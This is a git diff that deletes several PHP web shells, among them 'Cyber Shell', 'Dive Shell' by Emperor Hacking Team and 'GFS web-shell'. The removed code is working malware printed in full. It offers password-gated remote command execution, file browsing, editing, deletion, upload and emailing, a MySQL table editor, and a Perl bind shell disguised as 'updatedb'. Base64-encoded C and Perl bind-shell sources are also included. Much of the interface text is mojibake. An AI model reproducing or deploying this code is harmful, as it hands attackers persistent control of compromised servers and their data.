.:Cyber Shell (v 1.0):.
Copyright � Cyber Lords Community, 2002-2006
- - - -EOF; - -$d=tourl($d); -echo " -
- -.: ������� ����� :. -.: ������� ���� :. -.: ������� ���� ��� ����������� :.
-.: Bash :. -.: �������� ���� :. -
-
-"; -} -die; -?> diff --git a/Cyber Shell.php b/Cyber Shell.php deleted file mode 100644 index 5eaa6c7..0000000 --- a/Cyber Shell.php +++ /dev/null @@ -1,1033 +0,0 @@ - -BODY, TD, TR { -text-decoration: none; -font-family: Verdana; -font-size: 8pt; -SCROLLBAR-FACE-COLOR: #363d4e; -SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; -SCROLLBAR-SHADOW-COLOR: #363d4e; -SCROLLBAR-ARROW-COLOR: #363d4e; -SCROLLBAR-TRACK-COLOR: #91AAFF -} -input, textarea, select { -font-family: Verdana; -font-size: 10px; -color: black; -background-color: white; -border: solid 1px; -border-color: black -} -UNKNOWN { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:link { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:hover { -COLOR: #FF0C0B; -TEXT-DECORATION: none -} -A:active { -COLOR: #0006DE; -TEXT-DECORATION: none -} -A:visited { -TEXT-DECORATION: none -} -"; - -foreach($_POST as $key => $value) {$$key=$value;} -foreach($_GET as $key => $value) {$$key=$value;} - -if (isset($_GET[imgname])) -{ -$img=array( -'dir'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1mG6mv7ZbiBbxrhlUtJFMAiOVDbdjOAQAR26d880lzr2paU6T6hbp9gH+ulCKjJkqAQBK+4ZPPAqhDB4i0pXtbfRvtUYYFZluo0DAKq9Ccj7ufxqlq9n4p1qyksn0IQLKoQyNeRsF+dGzgdfu/rXi0ni4tJxZ2S9n3Vj/2Q==', -'txt'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1yy1G3sdEtDPDEIorCCRpXOOWGAMAHuPqc9K4bx5481Twp4c03xVolpaRjU3EM1rcozqzbSRINrLzhQAeMjGc4Xb1NpqOhTaXpznX9MgnS1hU754yyMq8YBbgjceoNeb/AB2u9IPw+0TT9M1K1uxbXaIBFOrsFETgE4NN8ttNyVe+ux//2Q==', -'bg'=> -'R0lGODlhCAAbAPQAAOTq8uLp8uDo8d7m8N3l79vj7tni7dfh7dXf7NTe69Pe69Ld6tLc6tDb6c7a6MzY6MrX58nW5sfU5cXT5MPS48PR48HQ4sLQ48DP4r/P4r7O4b7N4b3N4b3N4L3M4LzM4CwAAAAACAAbAAAFXCAgjmJgnqagrurgvi4hz3Jh37ah7/rh/z6EcChUGI8KhnK5aDae0KdjSp0+rtgrZMvdRr7gr2RMHk/O6HNlza5Y3nBLZk7PYO6bvH7z6fv3gBt1c3cYcW9tiRQhADs=', -'file'=> -'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z', -); -@ob_clean(); -header("Content-type: image/gif"); -header("Cache-control: public"); -header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); -header("Cache-control: max-age=".(60*60*24*7)); -header("Last-Modified: ".date("r",filemtime(__FILE__))); -echo base64_decode($img[$imgname]); -die; -} - -if ($_GET[pass]==$aupassword) -{ -$_SESSION[aupass]=md5($aupassword); -} -if ($hiddenmode=="false") -if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]=="")) -{ -$diz="ok"; -echo " -$style















-
- - - - - - - - - - -
-Enter your password: -
- -
- -
-
-"; -} -if ($_SESSION[aupass]!="") -{ -if (!$_GET and !$_POST or isset($pass)) -$show="start"; - -function ext($str){ -for ($i=1; $i",">",$str); -return $str; -} -function fsize($filename){ -$s=filesize($filename); -if ($s>1048576){ -return round(($s/1048576),2)." mb"; -} -if ($s>1024){ -return round(($s/1024),2)." kb"; -} -return $s." byte"; -} -function tourl($str){ -$str= urlencode($str); -return $str; -} -function unbug($str){ -$str = stripslashes($str); -return $str; -} -function countbyte($filesize) { -if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; } -elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; } -elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; } -else { $filesize = $filesize . ""; } -return $filesize; -} -function downloadfile($file) { -if (!file_exists("$file")) die; -$size = filesize("$file"); -$filen=extractfilename($file); -header("Content-Type: application/force-download; name=\"$filen\""); -header("Content-Transfer-Encoding: binary"); -header("Content-Length: $size"); -header("Content-Disposition: attachment; filename=\"$filen\""); -header("Expires: 0"); -header("Cache-Control: no-cache, must-revalidate"); -header("Pragma: no-cache"); -readfile("$file"); -die; -} - -function anonim_mail($from,$to,$subject,$text,$file){ - $fp = fopen($file, "rb"); - while(!feof($fp)) - $attachment .= fread($fp, 4096); - $attachment = base64_encode($attachment); - $subject = "sendfile (".extractfilename($file).")"; - $boundary = uniqid("NextPart_"); - $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\""; - $info = $text; - $filename=extractfilename($file); - $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; - $send = mail($to, $subject, $info, $headers); -fclose($fp); -echo ""; -die; -} -if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]); -if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]); - -$d=$_GET[d]; -if (empty($d) or !isset($d)){ -$d=realpath("./"); -$d=str_replace("\\","/",$d); -} -$showdir=""; -$bufdir=""; -$buf = explode("/", $d); -for ($i=0;$i$d - -$style - - - - - - - - - -
-
$showdir
-EOF; - -function perms($file) -{ -$mode=fileperms($file); -if( $mode & 0x1000 ) -$type='p'; -else if( $mode & 0x2000 ) -$type='c'; -else if( $mode & 0x4000 ) -$type='d'; -else if( $mode & 0x6000 ) -$type='b'; -else if( $mode & 0x8000 ) -$type='-'; -else if( $mode & 0xA000 ) -$type='l'; -else if( $mode & 0xC000 ) -$type='s'; -else -$type='u'; -$owner["read"] = ($mode & 00400) ? 'r' : '-'; -$owner["write"] = ($mode & 00200) ? 'w' : '-'; -$owner["execute"] = ($mode & 00100) ? 'x' : '-'; -$group["read"] = ($mode & 00040) ? 'r' : '-'; -$group["write"] = ($mode & 00020) ? 'w' : '-'; -$group["execute"] = ($mode & 00010) ? 'x' : '-'; -$world["read"] = ($mode & 00004) ? 'r' : '-'; -$world["write"] = ($mode & 00002) ? 'w' : '-'; -$world["execute"] = ($mode & 00001) ? 'x' : '-'; -if( $mode & 0x800 ) -$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; -if( $mode & 0x400 ) -$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; -if( $mode & 0x200 ) -$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; -$s=sprintf("%1s", $type); -$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); -$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); -$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); -return trim($s); -} - -function updir($dir){ -if (strlen($dir)>2){ -for ($i=1; $i -
-����� - -����� - -� ������ - -����������� - -� ������ -
-EOF; - -$free = countbyte(diskfreespace("./")); -if (!empty($free)) echo "��������� �������� ������������ : $free
"; -$os=exec("uname"); -if (!empty($os)) echo "������� :".$os."
"; -if (!empty($REMOTE_ADDR)) echo "��� IP: $REMOTE_ADDR   $HTTP_X_FORWARDED_FOR
"; -$ghz=exec("cat /proc/cpuinfo | grep GHz"); -if (!empty($ghz)) echo "���� � ������:(GHz)".$ghz."
"; -$mhz=exec("cat /proc/cpuinfo | grep MHz"); -if (!empty($mhz)) echo "���� � ������:(MHz) ".$mhz."
"; -$my_id=exec("id"); -if (!empty($my_id)) echo "
������������:".$my_id."
"; -} - -function showdir($df) { -$df=str_replace("//","/",$df); -$dirs=array(); -$files=array(); -if ($dir=opendir($df)) { -while (($file=readdir($dir))!==false) { -if ($file=="." || $file=="..") continue; -if (is_dir("$df/$file")){ -$dirs[]=$file;} -else { -$files[]=$file;}}} -closedir($dir); -sort($dirs); -sort($files); -echo <<< EOF - -EOF; -for ($i=0; $i - - - - - - -EOF; -} -for ($i=0; $i - - - - - - -EOF; -} -echo "
$dirs[$i]�������
�������
$perm
$files[$i] ($fsize)ren/del/get/mail
$attr
$perm
"; -if (count($dirs)==0 && count($files)==0){ -echo <<< EOF - - - - -
����� �����
-EOF; -}} - -$edit=$_REQUEST[edit]; -if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){ -$file=fopen($edit,"r") or die ("��� ������� � ����� $edit"); -if (filesize($edit) > 0) -$tfile=fread($file,filesize($edit)) or die ("��� ������� � ����� $edit"); -else $tfile = ""; -fclose($file); -$tfile = htmlspecialchars($tfile,ENT_QUOTES); -echo " -
-
"; -$mydir=updir($edit); -echo " -��������� � $mydir/
-�� ������������ ���� : $edit
-����������� ���� ���� � ���� HTML -
- -
-"; -if (!isset($_REQUEST[readonly])) -echo ""; -echo " -
-
-
-"; -} -if (isset($edit) && (!empty($edit)) && (isset($ashtml))){ -$mydir=updir($edit); -echo " -
-��������� � $mydir/
-�� �������������� ���� : $edit -
-"; -readfile($edit); -echo " -
-
-"; -} - -if (isset($texoffile) && isset($nameoffile)) -{ -$texoffile=unbug($texoffile); -$f = fopen("$nameoffile", "w") or die ("��� ������� � ����� $nameoffile"); -fwrite($f, "$texoffile"); -fclose($f); -$mydir=updir($nameoffile); -echo ""; -die; -} - -if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!="")) -{ -$delfile=$_REQUEST[delfile]; -$mydir=updir($delfile); -$deleted = unlink("$delfile"); -echo ""; -die; -} - -function deletedir($directory) { -if ($dir=opendir($directory)) { -while (($file=readdir($dir))!==false) { -if ($file=="." || $file=="..") continue; -if (is_dir("$directory/$file")) { -deletedir($directory."/".$file);} -else {unlink($directory."/".$file);}}} -closedir($dir); -rmdir("$directory/$file"); -} -if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){ -$deldir=$_REQUEST[deldir]; -$mydir=updir(updir($deldir)); -deletedir("$deldir"); -echo ""; -die; -} - -if (isset($show)){showdir("$d");} - -{ -if (isset($_REQUEST[tools])) -echo <<< EOF -
- - - - -
-.: �������� ��� ������ ����� :. -
-
-EOF; -if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir])) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ����� :. -
- - - - -
-
-EOF; - -if (isset($newdir) && ($newdir!="")) -{ -$mydir=updir($newdir); -mkdir($newdir,"7777"); -echo ""; -} - -if(@$_GET['rename']){ -echo "RENAME $d/$filetorename ?

-
-
-RENAME
$filetorename

TO
-

- -
-"; -@$rto=$_POST['rto']; -if($rto){ -$fr1=$d."/".$filetorename; -$fr1=str_replace("//","/",$fr1); -$to1=$d."/".$rto; -$to1=str_replace("//","/",$to1); -rename($fr1,$to1); -echo "File
$filetorename
Renamed to $rto

"; -echo "";} -echo $copyr; -exit; -} - -if (isset($tools) or isset($tmkfile)) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ���� :. -
- - - - -
-
-EOF; - -if (isset($newfile) && ($newfile!="")){ -$f = fopen("$newfile", "w+"); -fwrite($f, ""); -fclose($f); -$mydir=updir($newfile); -echo ""; -} - -if (isset($tools) or isset($tbackdoor)) -echo <<< EOF -
- - - - - - - -
-
-.: ������� ���� :. -
-��� �������: ����: - - - - -
-
-EOF; - -if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){ -$script=" -#!/usr/bin/perl -\$port = $bport; -\$port = \$ARGV[0] if \$ARGV[0]; -exit if fork; -\$0 = \"updatedb\" . \" \" x100; -\$SIG{CHLD} = 'IGNORE'; -use Socket; -socket(S, PF_INET, SOCK_STREAM, 0); -setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); -bind(S, sockaddr_in(\$port, INADDR_ANY)); -listen(S, 50); -while(1) -{ - accept(X, S); - unless(fork) - { - open STDIN, \"<&X\"; - open STDOUT, \">&X\"; - open STDERR, \">&X\"; - close X; - exec(\"/bin/sh\"); - } - close X; -} -"; - -$f = fopen("$d/$bfileneme", "w+"); -fwrite($f, $script); -fclose($f); -system("perl $d/$bfileneme"); -echo ""; -} - -if (isset($tools) or isset($tbash)) -echo <<< EOF -
- - - - - - - -
-
- -.: ��������� ������� :. -
- - - - - -
-
-EOF; - -if (isset($cmd) && ($cmd!="")){ -echo "
"; -system($cmd); -echo "
"; -} - -if (isset($tools) or isset($tupload)){ -$updir="$d/"; -if(empty($go)) { -echo <<< EOF -
- - - - - - - -
-
-.: �������� ���� � ������� ������� :. -
- - - - - - -
-
-EOF; -} -else { -if (is_uploaded_file($userfile)) { -$fi = "������� ���� $userfile_name �������� $userfile_size ���� � ���������� $updir"; -} -echo "$fi
����� � ��������"; -} -if (is_uploaded_file($userfile)) { -$dest=$updir.$userfile_name; -move_uploaded_file($userfile, $dest); -}} - -if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){ -mysql_connect($db_server, $db_user, $db_pass) or die("�� ���� ������������ � ����"); -} - -if ((isset($dbname)) and (isset($table)) ) -{ -foreach($_POST as $var => $val) -if (substr($var,0,7) == 'newpole'){ -if (substr($var,7,strlen($var)) !== ''){ -$indif=substr($var,7,strlen($var)); -echo " $val "; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -if ($xvar == "") -$xvar .= $indif; -else -$xvar .= ",".$indif; -if ($xval == "") -$xval .= "'$val'"; -else -$xval .= ",'$val'"; -}} - -if ($xvar != ""){ -mysql_query("INSERT INTO $table ($xvar) values ($xval)"); -} - -echo "����� � ������ ������ ��:$dbname"; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -$re=mysql_query("select * from $table"); -echo ""; - -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; - -if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) -$param="limit $_SESSION[limit]"; - -$re=mysql_query("select * from $table $param"); - -while($res=mysql_fetch_array($re)){ -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if (!$pixidname){ -$pixidname=$var; -$pixid=$val; -} -if ($nvar == 128945432){ -$valtext=untag($val); -if ($valtext == "") $valtext="=�����="; - - -if ($_SESSION[lenth] == "on"){ -if (strlen($valtext)>40){ -$valtext=substr($valtext,0,40); -$valtext .="..."; -}} - -echo ""; -}} - -echo ""; -$pixidname=''; -$pixid=''; -} - -echo ""; - -$re=mysql_query("select * from $table"); -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; - -$re=mysql_query("select * from $table"); -$res=mysql_fetch_array($re); -echo ""; -if (count($res) > 1) -foreach($res as $var => $val){ -$nvar=$var; -if ($nvar !== 0) -$nvar=$var+128945432; -if ($nvar == 128945432){ -$var=untag($var); -echo ""; -}} -echo ""; -echo "
$var
$valtext�������
$var
"; -echo ""; -echo " - - - - - -"; -echo ""; -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){ -echo "hello"; -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -mysql_query("delete from $mtable where $pixidname='$pixid'"); -echo ""; -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){ -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid"); -} - -if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){ -mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); -$re=mysql_query("select $var from $mtable where $pixidname='$pixid'"); -$res=mysql_fetch_array($re); -$text=untag($res[$var]); - -echo " -
- - - - - - - - - -
-
-��������� � ������ -"; -} - -if (isset($showdb) && empty($showtables)){ -$re=mysql_query("show databases"); -echo ""; -echo ""; -while($res=mysql_fetch_array($re)){ -echo ""; -} -echo "
������ ��������� ��:
$res[0]
"; -} -if (isset($showtables) and !empty($showtables)){ - -if (isset($xlimit)){ -$_SESSION[limit]=$xlimit; -if (isset($xlenth)) -$_SESSION[lenth]=$xlenth; -else $_SESSION[lenth]=""; -} - -echo "����� � ������ ��"; -$re=mysql_query("SHOW TABLES FROM $showtables"); -echo ""; -echo ""; -while($res=mysql_fetch_array($re)){ -echo ""; -} -echo "
$showtables - ������ ������:
$res[0]
"; - -if (($_SESSION[lenth]) == "on") -$ch="checked"; -else -$ch=""; - -echo <<< EOF -
- - - - -����������� �� ���������� ��������� �����:
- -
�������� ����������� �� ����� ��������� �����
- -EOF; -if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) -echo "
������� �����������: $_SESSION[limit]"; -} - -if (isset($tools) or isset($tmysql)) -echo " -
- - - - - - - -
-.: MySQL :. -
- - - - - - - - - - - - - - - - - - - - - -
-Host - - -
-Login MySQL - - -
-Password MySQL - - - -
-��� �� (�� �����������) - - -
- - - -
- -
-
-"; -} -echo <<< EOF -
.:Cyber Shell (v 1.0):.
Copyright � Cyber Lords Community, 2002-2006
- - - -EOF; - -$d=tourl($d); -echo " -
- -.: ������� ����� :. -.: ������� ���� :. -.: ������� ���� ��� ����������� :.
-.: Bash :. -.: �������� ���� :. -
-
-"; -} -die; -?> diff --git a/Dive Shell 1.0 - Emperor Hacking Team.php b/Dive Shell 1.0 - Emperor Hacking Team.php deleted file mode 100644 index 9c6d47e..0000000 --- a/Dive Shell 1.0 - Emperor Hacking Team.php +++ /dev/null @@ -1,187 +0,0 @@ - array('pipe', 'w'), - 2 => array('pipe', 'w')), - $io); - - - while (!feof($io[1])) { - $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), - ENT_COMPAT, 'UTF-8'); - } - - while (!feof($io[2])) { - $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), - ENT_COMPAT, 'UTF-8'); - } - - fclose($io[1]); - fclose($io[2]); - proc_close($p); - } - } - - - if (empty($_SESSION['history'])) { - $js_command_hist = '""'; - } else { - $escaped = array_map('addslashes', $_SESSION['history']); - $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; - } - - -header('Content-Type: text/html; charset=UTF-8'); - -echo '' . "\n"; -?> - - - Dive Shell - Emperor Hacking Team - - - - - - - - - - - - - - - - - - - - - - -

 Directory: - -

- -
-
-

- Command: -   - -  

-

- Rows: -

-

- Edited By Emperor Hacking Team

-

- iM4n - FarHad - imm02tal - R$P

-
-
- - -

-   -

- - - - \ No newline at end of file diff --git a/GFS web-shell ver 3.1.7 - PRiV8.php b/GFS web-shell ver 3.1.7 - PRiV8.php deleted file mode 100644 index 603741e..0000000 --- a/GFS web-shell ver 3.1.7 - PRiV8.php +++ /dev/null @@ -1,618 +0,0 @@ -Error dump!

table=".$_POST['tablename']."
db=".$_POST['dbname']."
host=".$_POST['host']."
user=".$_POST['username']."
pass=".$_POST['pass']); -} -set_magic_quotes_runtime(0); -set_time_limit(0); -ini_set('max_execution_time',0); -ini_set('output_buffering',0); -if(version_compare(phpversion(), '4.1.0')==-1){ - $_POST=&$HTTP_POST_VARS; - $_GET=&$HTTP_GET_VARS; - $_SERVER=&$HTTP_SERVER_VARS; -} -if (get_magic_quotes_gpc()){ - foreach ($_POST as $k=>$v){ - $_POST[$k]=stripslashes($v); - } - foreach ($_SERVER as $k=>$v){ - $_SERVER[$k]=stripslashes($v); - } -} -if ($_POST['username']==""){ - $_POST['username']="root"; -} -//////////////////////////////////////////////////////////////////////////////// -///////////////////////////// ���������� /////////////////////////////////////// -//////////////////////////////////////////////////////////////////////////////// -$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']; -$r_act=$_POST['r_act']; -$safe_mode=ini_get('safe_mode'); //������ ����������� ������ -$mysql_stat=function_exists('mysql_connect'); //������� mysql -$curl_on=function_exists('curl_version'); //������� cURL -$dis_func=ini_get('disable_functions'); //�������������� ������� -$HTML=<< - -GFS web-shell ver 3.1.7 - - -html; -$port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS -A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I -GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt -b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 -pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF -NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK -ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog -ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk -7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 -9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld -2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu -dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp -lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; -$port_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS -VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs -JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV -TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG -lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK -Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i 